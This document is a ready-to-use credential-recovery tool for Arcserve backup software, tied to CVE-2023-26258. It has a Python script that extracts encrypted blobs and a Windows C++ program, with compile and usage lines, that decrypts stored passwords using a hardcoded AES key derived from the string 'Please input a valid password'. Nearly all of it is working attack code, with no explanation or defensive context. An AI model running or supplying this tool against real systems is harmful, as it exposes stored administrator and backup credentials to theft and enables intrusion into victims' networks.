ArcserveDecrypter

arcserve-convert.py

#!/usr/bin/env python3
import base64
import sys

# usage: python3 ./arcserve-convert.py BASE64BLOB -> HEXBLOB

for line in sys.argv[1:]:
    value = b''
    for padding in ('', '=', '=='):
        try:
            value = base64.b64decode(line + padding)
        except Exception:
            pass
    if not value:
        raise RuntimeError(f'failed to decode line {line!r}')
    if not value.startswith(b'NEFA'):
        raise RuntimeError(f'missing magic bytes at start of line {line!r}')
    pos = value.rfind(b'\x00\x00\x00\x00') + 4
    hexvalue = ''.join(f'{x:02x}' for x in value[pos:])
    print(hexvalue)

ArcserveDecrypter.cpp

#include <windows.h>
#include <stdio.h>

// compilation: x86_64-w64-mingw32-g++ -m64 -Wall -Wextra -std=c++20 -lstdc++ -static -Os -s -o ./ArcserveDecrypter.exe ./ArcserveDecrypter.cpp
// usage: ./ArcserveDecrypter.exe HEXBLOB
// based on https://github.com/mdsecactivebreach/CVE-2023-26258-ArcServe/blob/main/ArcServeDecrypter.c

constexpr unsigned char key[] = { 0x50, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x61, 0x00, 0x73, 0x00, 0x65, 0x00, 0x20, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x70, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x61, 0x00, 0x20, 0x00, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x64, 0x00, 0x20, 0x00, 0x70, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x64, 0x00 };
constexpr auto key_len = sizeof(key);

void decrypt(unsigned char* data, DWORD data_len) {
    HCRYPTPROV prov = 0;
    CryptAcquireContextW(&prov, nullptr, nullptr, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
    HCRYPTHASH hash = 0;
    CryptCreateHash(prov, CALG_MD5, 0, 0, &hash);
    CryptHashData(hash, key, key_len, 0);
    HCRYPTKEY key = 0;
    CryptDeriveKey(prov, CALG_AES_256, hash, 0, &key);
    CryptDecrypt(key, 0, true, 0, data, &data_len);
}

unsigned char* hex2bytes(const char* hexstr, size_t final_len) {
    auto chrs = reinterpret_cast<unsigned char*>(malloc((final_len + 1) * sizeof(unsigned char)));
    for (size_t i = 0, j = 0; j < final_len; i += 2, j++) {
        chrs[j] = (hexstr[i] % 32 + 9) % 25 * 16 + (hexstr[i + 1] % 32 + 9) % 25;
    }
    chrs[final_len] = '\0';
    return chrs;
}

int main(int argc, char** argv) {
    for (int i = 1; i < argc; ++i) {
        const auto byte_len = strlen(argv[i]) / 2;
        unsigned char* bytes = hex2bytes(argv[i], byte_len);
        decrypt(bytes, byte_len);
        printf("%ls\n", reinterpret_cast<wchar_t*>(bytes));
        free(bytes);
    }
    return 0;
}